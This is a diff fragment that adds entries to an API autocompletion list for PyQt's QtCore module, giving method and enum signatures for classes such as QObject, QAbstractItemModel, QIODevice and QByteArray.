+QtCore.QObject.startTimer?4(int, Qt.TimerType timerType=Qt.CoarseTimer) -> int +QtCore.QObject.killTimer?4(int) +QtCore.QObject.children?4() -> unknown-type +QtCore.QObject.setParent?4(QObject) +QtCore.QObject.installEventFilter?4(QObject) +QtCore.QObject.removeEventFilter?4(QObject) +QtCore.QObject.dumpObjectInfo?4() +QtCore.QObject.dumpObjectTree?4() +QtCore.QObject.dynamicPropertyNames?4() -> unknown-type +QtCore.QObject.setProperty?4(str, QVariant) -> bool +QtCore.QObject.property?4(str) -> QVariant +QtCore.QObject.destroyed?4(QObject object=None) +QtCore.QObject.objectNameChanged?4(QString) +QtCore.QObject.parent?4() -> QObject +QtCore.QObject.inherits?4(str) -> bool +QtCore.QObject.deleteLater?4() +QtCore.QObject.sender?4() -> QObject +QtCore.QObject.receivers?4(object) -> int +QtCore.QObject.timerEvent?4(QTimerEvent) +QtCore.QObject.childEvent?4(QChildEvent) +QtCore.QObject.customEvent?4(QEvent) +QtCore.QObject.connectNotify?4(QMetaMethod) +QtCore.QObject.disconnectNotify?4(QMetaMethod) +QtCore.QObject.senderSignalIndex?4() -> int +QtCore.QObject.isSignalConnected?4(QMetaMethod) -> bool +QtCore.QObject.disconnect?4(QMetaObject.Connection) -> bool +QtCore.QObject.disconnect?4() -> object +QtCore.QAbstractAnimation.DeletionPolicy?10 +QtCore.QAbstractAnimation.DeletionPolicy.KeepWhenStopped?10 +QtCore.QAbstractAnimation.DeletionPolicy.DeleteWhenStopped?10 +QtCore.QAbstractAnimation.State?10 +QtCore.QAbstractAnimation.State.Stopped?10 +QtCore.QAbstractAnimation.State.Paused?10 +QtCore.QAbstractAnimation.State.Running?10 +QtCore.QAbstractAnimation.Direction?10 +QtCore.QAbstractAnimation.Direction.Forward?10 +QtCore.QAbstractAnimation.Direction.Backward?10 +QtCore.QAbstractAnimation?1(QObject parent=None) +QtCore.QAbstractAnimation.__init__?1(self, QObject parent=None) +QtCore.QAbstractAnimation.state?4() -> QAbstractAnimation.State +QtCore.QAbstractAnimation.group?4() -> QAnimationGroup +QtCore.QAbstractAnimation.direction?4() -> QAbstractAnimation.Direction +QtCore.QAbstractAnimation.setDirection?4(QAbstractAnimation.Direction) +QtCore.QAbstractAnimation.currentTime?4() -> int +QtCore.QAbstractAnimation.currentLoopTime?4() -> int +QtCore.QAbstractAnimation.loopCount?4() -> int +QtCore.QAbstractAnimation.setLoopCount?4(int) +QtCore.QAbstractAnimation.currentLoop?4() -> int +QtCore.QAbstractAnimation.duration?4() -> int +QtCore.QAbstractAnimation.totalDuration?4() -> int +QtCore.QAbstractAnimation.finished?4() +QtCore.QAbstractAnimation.stateChanged?4(QAbstractAnimation.State, QAbstractAnimation.State) +QtCore.QAbstractAnimation.currentLoopChanged?4(int) +QtCore.QAbstractAnimation.directionChanged?4(QAbstractAnimation.Direction) +QtCore.QAbstractAnimation.start?4(QAbstractAnimation.DeletionPolicy policy=QAbstractAnimation.KeepWhenStopped) +QtCore.QAbstractAnimation.pause?4() +QtCore.QAbstractAnimation.resume?4() +QtCore.QAbstractAnimation.setPaused?4(bool) +QtCore.QAbstractAnimation.stop?4() +QtCore.QAbstractAnimation.setCurrentTime?4(int) +QtCore.QAbstractAnimation.event?4(QEvent) -> bool +QtCore.QAbstractAnimation.updateCurrentTime?4(int) +QtCore.QAbstractAnimation.updateState?4(QAbstractAnimation.State, QAbstractAnimation.State) +QtCore.QAbstractAnimation.updateDirection?4(QAbstractAnimation.Direction) +QtCore.QAbstractEventDispatcher?1(QObject parent=None) +QtCore.QAbstractEventDispatcher.__init__?1(self, QObject parent=None) +QtCore.QAbstractEventDispatcher.instance?4(QThread thread=None) -> QAbstractEventDispatcher +QtCore.QAbstractEventDispatcher.processEvents?4(QEventLoop.ProcessEventsFlags) -> bool +QtCore.QAbstractEventDispatcher.hasPendingEvents?4() -> bool +QtCore.QAbstractEventDispatcher.registerSocketNotifier?4(QSocketNotifier) +QtCore.QAbstractEventDispatcher.unregisterSocketNotifier?4(QSocketNotifier) +QtCore.QAbstractEventDispatcher.registerTimer?4(int, Qt.TimerType, QObject) -> int +QtCore.QAbstractEventDispatcher.registerTimer?4(int, int, Qt.TimerType, QObject) +QtCore.QAbstractEventDispatcher.unregisterTimer?4(int) -> bool +QtCore.QAbstractEventDispatcher.unregisterTimers?4(QObject) -> bool +QtCore.QAbstractEventDispatcher.registeredTimers?4(QObject) -> unknown-type +QtCore.QAbstractEventDispatcher.wakeUp?4() +QtCore.QAbstractEventDispatcher.interrupt?4() +QtCore.QAbstractEventDispatcher.flush?4() +QtCore.QAbstractEventDispatcher.startingUp?4() +QtCore.QAbstractEventDispatcher.closingDown?4() +QtCore.QAbstractEventDispatcher.remainingTime?4(int) -> int +QtCore.QAbstractEventDispatcher.installNativeEventFilter?4(QAbstractNativeEventFilter) +QtCore.QAbstractEventDispatcher.removeNativeEventFilter?4(QAbstractNativeEventFilter) +QtCore.QAbstractEventDispatcher.registerEventNotifier?4(QWinEventNotifier) -> bool +QtCore.QAbstractEventDispatcher.unregisterEventNotifier?4(QWinEventNotifier) +QtCore.QAbstractEventDispatcher.filterNativeEvent?4(QByteArray, sip.voidptr) -> (bool, int) +QtCore.QAbstractEventDispatcher.aboutToBlock?4() +QtCore.QAbstractEventDispatcher.awake?4() +QtCore.QAbstractEventDispatcher.TimerInfo.interval?7 +QtCore.QAbstractEventDispatcher.TimerInfo.timerId?7 +QtCore.QAbstractEventDispatcher.TimerInfo.timerType?7 +QtCore.QAbstractEventDispatcher.TimerInfo?1(int, int, Qt.TimerType) +QtCore.QAbstractEventDispatcher.TimerInfo.__init__?1(self, int, int, Qt.TimerType) +QtCore.QAbstractEventDispatcher.TimerInfo?1(QAbstractEventDispatcher.TimerInfo) +QtCore.QAbstractEventDispatcher.TimerInfo.__init__?1(self, QAbstractEventDispatcher.TimerInfo) +QtCore.QModelIndex?1() +QtCore.QModelIndex.__init__?1(self) +QtCore.QModelIndex?1(QModelIndex) +QtCore.QModelIndex.__init__?1(self, QModelIndex) +QtCore.QModelIndex?1(QPersistentModelIndex) +QtCore.QModelIndex.__init__?1(self, QPersistentModelIndex) +QtCore.QModelIndex.child?4(int, int) -> QModelIndex +QtCore.QModelIndex.row?4() -> int +QtCore.QModelIndex.column?4() -> int +QtCore.QModelIndex.data?4(int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtCore.QModelIndex.flags?4() -> Qt.ItemFlags +QtCore.QModelIndex.internalPointer?4() -> object +QtCore.QModelIndex.internalId?4() -> object +QtCore.QModelIndex.model?4() -> QAbstractItemModel +QtCore.QModelIndex.isValid?4() -> bool +QtCore.QModelIndex.parent?4() -> QModelIndex +QtCore.QModelIndex.sibling?4(int, int) -> QModelIndex +QtCore.QModelIndex.siblingAtColumn?4(int) -> QModelIndex +QtCore.QModelIndex.siblingAtRow?4(int) -> QModelIndex +QtCore.QPersistentModelIndex?1() +QtCore.QPersistentModelIndex.__init__?1(self) +QtCore.QPersistentModelIndex?1(QModelIndex) +QtCore.QPersistentModelIndex.__init__?1(self, QModelIndex) +QtCore.QPersistentModelIndex?1(QPersistentModelIndex) +QtCore.QPersistentModelIndex.__init__?1(self, QPersistentModelIndex) +QtCore.QPersistentModelIndex.row?4() -> int +QtCore.QPersistentModelIndex.column?4() -> int +QtCore.QPersistentModelIndex.data?4(int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtCore.QPersistentModelIndex.flags?4() -> Qt.ItemFlags +QtCore.QPersistentModelIndex.parent?4() -> QModelIndex +QtCore.QPersistentModelIndex.sibling?4(int, int) -> QModelIndex +QtCore.QPersistentModelIndex.child?4(int, int) -> QModelIndex +QtCore.QPersistentModelIndex.model?4() -> QAbstractItemModel +QtCore.QPersistentModelIndex.isValid?4() -> bool +QtCore.QPersistentModelIndex.swap?4(QPersistentModelIndex) +QtCore.QAbstractItemModel.CheckIndexOption?10 +QtCore.QAbstractItemModel.CheckIndexOption.NoOption?10 +QtCore.QAbstractItemModel.CheckIndexOption.IndexIsValid?10 +QtCore.QAbstractItemModel.CheckIndexOption.DoNotUseParent?10 +QtCore.QAbstractItemModel.CheckIndexOption.ParentIsInvalid?10 +QtCore.QAbstractItemModel.LayoutChangeHint?10 +QtCore.QAbstractItemModel.LayoutChangeHint.NoLayoutChangeHint?10 +QtCore.QAbstractItemModel.LayoutChangeHint.VerticalSortHint?10 +QtCore.QAbstractItemModel.LayoutChangeHint.HorizontalSortHint?10 +QtCore.QAbstractItemModel?1(QObject parent=None) +QtCore.QAbstractItemModel.__init__?1(self, QObject parent=None) +QtCore.QAbstractItemModel.hasIndex?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtCore.QAbstractItemModel.parent?4(QModelIndex) -> QModelIndex +QtCore.QAbstractItemModel.parent?4() -> QObject +QtCore.QAbstractItemModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtCore.QAbstractItemModel.rowCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QAbstractItemModel.columnCount?4(QModelIndex parent=QModelIndex()) -> int +QtCore.QAbstractItemModel.hasChildren?4(QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.data?4(QModelIndex, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtCore.QAbstractItemModel.setData?4(QModelIndex, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtCore.QAbstractItemModel.headerData?4(int, Qt.Orientation, int role=Qt.ItemDataRole.DisplayRole) -> QVariant +QtCore.QAbstractItemModel.setHeaderData?4(int, Qt.Orientation, QVariant, int role=Qt.ItemDataRole.EditRole) -> bool +QtCore.QAbstractItemModel.itemData?4(QModelIndex) -> unknown-type +QtCore.QAbstractItemModel.setItemData?4(QModelIndex, unknown-type) -> bool +QtCore.QAbstractItemModel.mimeTypes?4() -> QStringList +QtCore.QAbstractItemModel.mimeData?4(unknown-type) -> QMimeData +QtCore.QAbstractItemModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QAbstractItemModel.supportedDropActions?4() -> Qt.DropActions +QtCore.QAbstractItemModel.insertRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.insertColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.removeRows?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.removeColumns?4(int, int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.fetchMore?4(QModelIndex) +QtCore.QAbstractItemModel.canFetchMore?4(QModelIndex) -> bool +QtCore.QAbstractItemModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtCore.QAbstractItemModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtCore.QAbstractItemModel.buddy?4(QModelIndex) -> QModelIndex +QtCore.QAbstractItemModel.match?4(QModelIndex, int, QVariant, int hits=1, Qt.MatchFlags flags=Qt.MatchStartsWith|Qt.MatchWrap) -> unknown-type +QtCore.QAbstractItemModel.span?4(QModelIndex) -> QSize +QtCore.QAbstractItemModel.dataChanged?4(QModelIndex, QModelIndex, unknown-type roles=[]) +QtCore.QAbstractItemModel.headerDataChanged?4(Qt.Orientation, int, int) +QtCore.QAbstractItemModel.layoutAboutToBeChanged?4(unknown-type parents=[], QAbstractItemModel.LayoutChangeHint hint=QAbstractItemModel.NoLayoutChangeHint) +QtCore.QAbstractItemModel.layoutChanged?4(unknown-type parents=[], QAbstractItemModel.LayoutChangeHint hint=QAbstractItemModel.NoLayoutChangeHint) +QtCore.QAbstractItemModel.rowsAboutToBeInserted?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.rowsInserted?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.rowsAboutToBeRemoved?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.rowsRemoved?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.columnsAboutToBeInserted?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.columnsInserted?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.columnsAboutToBeRemoved?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.columnsRemoved?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.modelAboutToBeReset?4() +QtCore.QAbstractItemModel.modelReset?4() +QtCore.QAbstractItemModel.submit?4() -> bool +QtCore.QAbstractItemModel.revert?4() +QtCore.QAbstractItemModel.encodeData?4(unknown-type, QDataStream) +QtCore.QAbstractItemModel.decodeData?4(int, int, QModelIndex, QDataStream) -> bool +QtCore.QAbstractItemModel.beginInsertRows?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.endInsertRows?4() +QtCore.QAbstractItemModel.beginRemoveRows?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.endRemoveRows?4() +QtCore.QAbstractItemModel.beginInsertColumns?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.endInsertColumns?4() +QtCore.QAbstractItemModel.beginRemoveColumns?4(QModelIndex, int, int) +QtCore.QAbstractItemModel.endRemoveColumns?4() +QtCore.QAbstractItemModel.persistentIndexList?4() -> unknown-type +QtCore.QAbstractItemModel.changePersistentIndex?4(QModelIndex, QModelIndex) +QtCore.QAbstractItemModel.changePersistentIndexList?4(unknown-type, unknown-type) +QtCore.QAbstractItemModel.insertRow?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.insertColumn?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.removeRow?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.removeColumn?4(int, QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractItemModel.supportedDragActions?4() -> Qt.DropActions +QtCore.QAbstractItemModel.roleNames?4() -> unknown-type +QtCore.QAbstractItemModel.createIndex?4(int, int, object object=0) -> QModelIndex +QtCore.QAbstractItemModel.rowsAboutToBeMoved?4(QModelIndex, int, int, QModelIndex, int) +QtCore.QAbstractItemModel.rowsMoved?4(QModelIndex, int, int, QModelIndex, int) +QtCore.QAbstractItemModel.columnsAboutToBeMoved?4(QModelIndex, int, int, QModelIndex, int) +QtCore.QAbstractItemModel.columnsMoved?4(QModelIndex, int, int, QModelIndex, int) +QtCore.QAbstractItemModel.beginMoveRows?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QAbstractItemModel.endMoveRows?4() +QtCore.QAbstractItemModel.beginMoveColumns?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QAbstractItemModel.endMoveColumns?4() +QtCore.QAbstractItemModel.beginResetModel?4() +QtCore.QAbstractItemModel.endResetModel?4() +QtCore.QAbstractItemModel.resetInternalData?4() +QtCore.QAbstractItemModel.canDropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QAbstractItemModel.moveRows?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QAbstractItemModel.moveColumns?4(QModelIndex, int, int, QModelIndex, int) -> bool +QtCore.QAbstractItemModel.moveRow?4(QModelIndex, int, QModelIndex, int) -> bool +QtCore.QAbstractItemModel.moveColumn?4(QModelIndex, int, QModelIndex, int) -> bool +QtCore.QAbstractItemModel.checkIndex?4(QModelIndex, QAbstractItemModel.CheckIndexOptions options=QAbstractItemModel.CheckIndexOption.NoOption) -> bool +QtCore.QAbstractItemModel.CheckIndexOptions?1() +QtCore.QAbstractItemModel.CheckIndexOptions.__init__?1(self) +QtCore.QAbstractItemModel.CheckIndexOptions?1(int) +QtCore.QAbstractItemModel.CheckIndexOptions.__init__?1(self, int) +QtCore.QAbstractItemModel.CheckIndexOptions?1(QAbstractItemModel.CheckIndexOptions) +QtCore.QAbstractItemModel.CheckIndexOptions.__init__?1(self, QAbstractItemModel.CheckIndexOptions) +QtCore.QAbstractTableModel?1(QObject parent=None) +QtCore.QAbstractTableModel.__init__?1(self, QObject parent=None) +QtCore.QAbstractTableModel.index?4(int, int, QModelIndex parent=QModelIndex()) -> QModelIndex +QtCore.QAbstractTableModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QAbstractTableModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtCore.QAbstractTableModel.parent?4() -> QObject +QtCore.QAbstractTableModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtCore.QAbstractListModel?1(QObject parent=None) +QtCore.QAbstractListModel.__init__?1(self, QObject parent=None) +QtCore.QAbstractListModel.index?4(int, int column=0, QModelIndex parent=QModelIndex()) -> QModelIndex +QtCore.QAbstractListModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QAbstractListModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtCore.QAbstractListModel.parent?4() -> QObject +QtCore.QAbstractListModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtCore.QAbstractNativeEventFilter?1() +QtCore.QAbstractNativeEventFilter.__init__?1(self) +QtCore.QAbstractNativeEventFilter.nativeEventFilter?4(QByteArray, sip.voidptr) -> (bool, int) +QtCore.QAbstractProxyModel?1(QObject parent=None) +QtCore.QAbstractProxyModel.__init__?1(self, QObject parent=None) +QtCore.QAbstractProxyModel.setSourceModel?4(QAbstractItemModel) +QtCore.QAbstractProxyModel.sourceModel?4() -> QAbstractItemModel +QtCore.QAbstractProxyModel.mapToSource?4(QModelIndex) -> QModelIndex +QtCore.QAbstractProxyModel.mapFromSource?4(QModelIndex) -> QModelIndex +QtCore.QAbstractProxyModel.mapSelectionToSource?4(QItemSelection) -> QItemSelection +QtCore.QAbstractProxyModel.mapSelectionFromSource?4(QItemSelection) -> QItemSelection +QtCore.QAbstractProxyModel.submit?4() -> bool +QtCore.QAbstractProxyModel.revert?4() +QtCore.QAbstractProxyModel.data?4(QModelIndex, int role=Qt.DisplayRole) -> QVariant +QtCore.QAbstractProxyModel.setData?4(QModelIndex, QVariant, int role=Qt.EditRole) -> bool +QtCore.QAbstractProxyModel.headerData?4(int, Qt.Orientation, int role=Qt.DisplayRole) -> QVariant +QtCore.QAbstractProxyModel.setHeaderData?4(int, Qt.Orientation, QVariant, int role=Qt.EditRole) -> bool +QtCore.QAbstractProxyModel.itemData?4(QModelIndex) -> unknown-type +QtCore.QAbstractProxyModel.flags?4(QModelIndex) -> Qt.ItemFlags +QtCore.QAbstractProxyModel.setItemData?4(QModelIndex, unknown-type) -> bool +QtCore.QAbstractProxyModel.buddy?4(QModelIndex) -> QModelIndex +QtCore.QAbstractProxyModel.canFetchMore?4(QModelIndex) -> bool +QtCore.QAbstractProxyModel.fetchMore?4(QModelIndex) +QtCore.QAbstractProxyModel.sort?4(int, Qt.SortOrder order=Qt.AscendingOrder) +QtCore.QAbstractProxyModel.span?4(QModelIndex) -> QSize +QtCore.QAbstractProxyModel.hasChildren?4(QModelIndex parent=QModelIndex()) -> bool +QtCore.QAbstractProxyModel.mimeData?4(unknown-type) -> QMimeData +QtCore.QAbstractProxyModel.mimeTypes?4() -> QStringList +QtCore.QAbstractProxyModel.supportedDropActions?4() -> Qt.DropActions +QtCore.QAbstractProxyModel.sibling?4(int, int, QModelIndex) -> QModelIndex +QtCore.QAbstractProxyModel.resetInternalData?4() +QtCore.QAbstractProxyModel.sourceModelChanged?4() +QtCore.QAbstractProxyModel.canDropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QAbstractProxyModel.dropMimeData?4(QMimeData, Qt.DropAction, int, int, QModelIndex) -> bool +QtCore.QAbstractProxyModel.supportedDragActions?4() -> Qt.DropActions +QtCore.QAbstractState?1(QState parent=None) +QtCore.QAbstractState.__init__?1(self, QState parent=None) +QtCore.QAbstractState.parentState?4() -> QState +QtCore.QAbstractState.machine?4() -> QStateMachine +QtCore.QAbstractState.active?4() -> bool +QtCore.QAbstractState.activeChanged?4(bool) +QtCore.QAbstractState.entered?4() +QtCore.QAbstractState.exited?4() +QtCore.QAbstractState.onEntry?4(QEvent) +QtCore.QAbstractState.onExit?4(QEvent) +QtCore.QAbstractState.event?4(QEvent) -> bool +QtCore.QAbstractTransition.TransitionType?10 +QtCore.QAbstractTransition.TransitionType.ExternalTransition?10 +QtCore.QAbstractTransition.TransitionType.InternalTransition?10 +QtCore.QAbstractTransition?1(QState sourceState=None) +QtCore.QAbstractTransition.__init__?1(self, QState sourceState=None) +QtCore.QAbstractTransition.sourceState?4() -> QState +QtCore.QAbstractTransition.targetState?4() -> QAbstractState +QtCore.QAbstractTransition.setTargetState?4(QAbstractState) +QtCore.QAbstractTransition.targetStates?4() -> unknown-type +QtCore.QAbstractTransition.setTargetStates?4(unknown-type) +QtCore.QAbstractTransition.machine?4() -> QStateMachine +QtCore.QAbstractTransition.addAnimation?4(QAbstractAnimation) +QtCore.QAbstractTransition.removeAnimation?4(QAbstractAnimation) +QtCore.QAbstractTransition.animations?4() -> unknown-type +QtCore.QAbstractTransition.triggered?4() +QtCore.QAbstractTransition.targetStateChanged?4() +QtCore.QAbstractTransition.targetStatesChanged?4() +QtCore.QAbstractTransition.eventTest?4(QEvent) -> bool +QtCore.QAbstractTransition.onTransition?4(QEvent) +QtCore.QAbstractTransition.event?4(QEvent) -> bool +QtCore.QAbstractTransition.transitionType?4() -> QAbstractTransition.TransitionType +QtCore.QAbstractTransition.setTransitionType?4(QAbstractTransition.TransitionType) +QtCore.QAnimationGroup?1(QObject parent=None) +QtCore.QAnimationGroup.__init__?1(self, QObject parent=None) +QtCore.QAnimationGroup.animationAt?4(int) -> QAbstractAnimation +QtCore.QAnimationGroup.animationCount?4() -> int +QtCore.QAnimationGroup.indexOfAnimation?4(QAbstractAnimation) -> int +QtCore.QAnimationGroup.addAnimation?4(QAbstractAnimation) +QtCore.QAnimationGroup.insertAnimation?4(int, QAbstractAnimation) +QtCore.QAnimationGroup.removeAnimation?4(QAbstractAnimation) +QtCore.QAnimationGroup.takeAnimation?4(int) -> QAbstractAnimation +QtCore.QAnimationGroup.clear?4() +QtCore.QAnimationGroup.event?4(QEvent) -> bool +QtCore.QBasicTimer?1() +QtCore.QBasicTimer.__init__?1(self) +QtCore.QBasicTimer?1(QBasicTimer) +QtCore.QBasicTimer.__init__?1(self, QBasicTimer) +QtCore.QBasicTimer.isActive?4() -> bool +QtCore.QBasicTimer.timerId?4() -> int +QtCore.QBasicTimer.start?4(int, Qt.TimerType, QObject) +QtCore.QBasicTimer.start?4(int, QObject) +QtCore.QBasicTimer.stop?4() +QtCore.QBasicTimer.swap?4(QBasicTimer) +QtCore.QBitArray?1() +QtCore.QBitArray.__init__?1(self) +QtCore.QBitArray?1(int, bool value=False) +QtCore.QBitArray.__init__?1(self, int, bool value=False) +QtCore.QBitArray?1(QBitArray) +QtCore.QBitArray.__init__?1(self, QBitArray) +QtCore.QBitArray.size?4() -> int +QtCore.QBitArray.count?4() -> int +QtCore.QBitArray.count?4(bool) -> int +QtCore.QBitArray.isEmpty?4() -> bool +QtCore.QBitArray.isNull?4() -> bool +QtCore.QBitArray.resize?4(int) +QtCore.QBitArray.detach?4() +QtCore.QBitArray.isDetached?4() -> bool +QtCore.QBitArray.clear?4() +QtCore.QBitArray.fill?4(bool, int, int) +QtCore.QBitArray.truncate?4(int) +QtCore.QBitArray.fill?4(bool, int size=-1) -> bool +QtCore.QBitArray.testBit?4(int) -> bool +QtCore.QBitArray.setBit?4(int) +QtCore.QBitArray.clearBit?4(int) +QtCore.QBitArray.setBit?4(int, bool) +QtCore.QBitArray.toggleBit?4(int) -> bool +QtCore.QBitArray.at?4(int) -> bool +QtCore.QBitArray.swap?4(QBitArray) +QtCore.QBitArray.bits?4() -> object +QtCore.QBitArray.fromBits?4(str, int) -> QBitArray +QtCore.QIODevice.OpenModeFlag?10 +QtCore.QIODevice.OpenModeFlag.NotOpen?10 +QtCore.QIODevice.OpenModeFlag.ReadOnly?10 +QtCore.QIODevice.OpenModeFlag.WriteOnly?10 +QtCore.QIODevice.OpenModeFlag.ReadWrite?10 +QtCore.QIODevice.OpenModeFlag.Append?10 +QtCore.QIODevice.OpenModeFlag.Truncate?10 +QtCore.QIODevice.OpenModeFlag.Text?10 +QtCore.QIODevice.OpenModeFlag.Unbuffered?10 +QtCore.QIODevice.OpenModeFlag.NewOnly?10 +QtCore.QIODevice.OpenModeFlag.ExistingOnly?10 +QtCore.QIODevice?1() +QtCore.QIODevice.__init__?1(self) +QtCore.QIODevice?1(QObject) +QtCore.QIODevice.__init__?1(self, QObject) +QtCore.QIODevice.openMode?4() -> QIODevice.OpenMode +QtCore.QIODevice.setTextModeEnabled?4(bool) +QtCore.QIODevice.isTextModeEnabled?4() -> bool +QtCore.QIODevice.isOpen?4() -> bool +QtCore.QIODevice.isReadable?4() -> bool +QtCore.QIODevice.isWritable?4() -> bool +QtCore.QIODevice.isSequential?4() -> bool +QtCore.QIODevice.open?4(QIODevice.OpenMode) -> bool +QtCore.QIODevice.close?4() +QtCore.QIODevice.pos?4() -> int +QtCore.QIODevice.size?4() -> int +QtCore.QIODevice.seek?4(int) -> bool +QtCore.QIODevice.atEnd?4() -> bool +QtCore.QIODevice.reset?4() -> bool +QtCore.QIODevice.bytesAvailable?4() -> int +QtCore.QIODevice.bytesToWrite?4() -> int +QtCore.QIODevice.read?4(int) -> object +QtCore.QIODevice.readAll?4() -> QByteArray +QtCore.QIODevice.readLine?4(int maxlen=0) -> object +QtCore.QIODevice.canReadLine?4() -> bool +QtCore.QIODevice.peek?4(int) -> QByteArray +QtCore.QIODevice.write?4(QByteArray) -> int +QtCore.QIODevice.waitForReadyRead?4(int) -> bool +QtCore.QIODevice.waitForBytesWritten?4(int) -> bool +QtCore.QIODevice.ungetChar?4(str) +QtCore.QIODevice.putChar?4(str) -> bool +QtCore.QIODevice.getChar?4() -> (bool, str) +QtCore.QIODevice.errorString?4() -> QString +QtCore.QIODevice.readyRead?4() +QtCore.QIODevice.bytesWritten?4(int) +QtCore.QIODevice.aboutToClose?4() +QtCore.QIODevice.readChannelFinished?4() +QtCore.QIODevice.readData?4(int) -> object +QtCore.QIODevice.readLineData?4(int) -> object +QtCore.QIODevice.writeData?4(bytes) -> int +QtCore.QIODevice.setOpenMode?4(QIODevice.OpenMode) +QtCore.QIODevice.setErrorString?4(QString) +QtCore.QIODevice.readChannelCount?4() -> int +QtCore.QIODevice.writeChannelCount?4() -> int +QtCore.QIODevice.currentReadChannel?4() -> int +QtCore.QIODevice.setCurrentReadChannel?4(int) +QtCore.QIODevice.currentWriteChannel?4() -> int +QtCore.QIODevice.setCurrentWriteChannel?4(int) +QtCore.QIODevice.startTransaction?4() +QtCore.QIODevice.commitTransaction?4() +QtCore.QIODevice.rollbackTransaction?4() +QtCore.QIODevice.isTransactionStarted?4() -> bool +QtCore.QIODevice.channelReadyRead?4(int) +QtCore.QIODevice.channelBytesWritten?4(int, int) +QtCore.QIODevice.skip?4(int) -> int +QtCore.QBuffer?1(QObject parent=None) +QtCore.QBuffer.__init__?1(self, QObject parent=None) +QtCore.QBuffer?1(QByteArray, QObject parent=None) +QtCore.QBuffer.__init__?1(self, QByteArray, QObject parent=None) +QtCore.QBuffer.buffer?4() -> QByteArray +QtCore.QBuffer.data?4() -> QByteArray +QtCore.QBuffer.setBuffer?4(QByteArray) +QtCore.QBuffer.setData?4(QByteArray) +QtCore.QBuffer.setData?4(bytes) +QtCore.QBuffer.open?4(QIODevice.OpenMode) -> bool +QtCore.QBuffer.close?4() +QtCore.QBuffer.size?4() -> int +QtCore.QBuffer.pos?4() -> int +QtCore.QBuffer.seek?4(int) -> bool +QtCore.QBuffer.atEnd?4() -> bool +QtCore.QBuffer.canReadLine?4() -> bool +QtCore.QBuffer.readData?4(int) -> object +QtCore.QBuffer.writeData?4(bytes) -> int +QtCore.QBuffer.connectNotify?4(QMetaMethod) +QtCore.QBuffer.disconnectNotify?4(QMetaMethod) +QtCore.QByteArray.Base64DecodingStatus?10 +QtCore.QByteArray.Base64DecodingStatus.Ok?10 +QtCore.QByteArray.Base64DecodingStatus.IllegalInputLength?10 +QtCore.QByteArray.Base64DecodingStatus.IllegalCharacter?10 +QtCore.QByteArray.Base64DecodingStatus.IllegalPadding?10 +QtCore.QByteArray.Base64Option?10 +QtCore.QByteArray.Base64Option.Base64Encoding?10 +QtCore.QByteArray.Base64Option.Base64UrlEncoding?10 +QtCore.QByteArray.Base64Option.KeepTrailingEquals?10 +QtCore.QByteArray.Base64Option.OmitTrailingEquals?10 +QtCore.QByteArray.Base64Option.IgnoreBase64DecodingErrors?10 +QtCore.QByteArray.Base64Option.AbortOnBase64DecodingErrors?10 +QtCore.QByteArray?1() +QtCore.QByteArray.__init__?1(self) +QtCore.QByteArray?1(int, str) +QtCore.QByteArray.__init__?1(self, int, str) +QtCore.QByteArray?1(QByteArray) +QtCore.QByteArray.__init__?1(self, QByteArray) +QtCore.QByteArray.resize?4(int) +QtCore.QByteArray.fill?4(str, int size=-1) -> QByteArray +QtCore.QByteArray.clear?4() +QtCore.QByteArray.indexOf?4(QByteArray, int from=0) -> int +QtCore.QByteArray.indexOf?4(QString, int from=0) -> int +QtCore.QByteArray.lastIndexOf?4(QByteArray, int from=-1) -> int +QtCore.QByteArray.lastIndexOf?4(QString, int from=-1) -> int +QtCore.QByteArray.count?4(QByteArray) -> int +QtCore.QByteArray.left?4(int) -> QByteArray +QtCore.QByteArray.right?4(int) -> QByteArray +QtCore.QByteArray.mid?4(int, int length=-1) -> QByteArray +QtCore.QByteArray.startsWith?4(QByteArray) -> bool +QtCore.QByteArray.endsWith?4(QByteArray) -> bool +QtCore.QByteArray.truncate?4(int) +QtCore.QByteArray.chop?4(int) 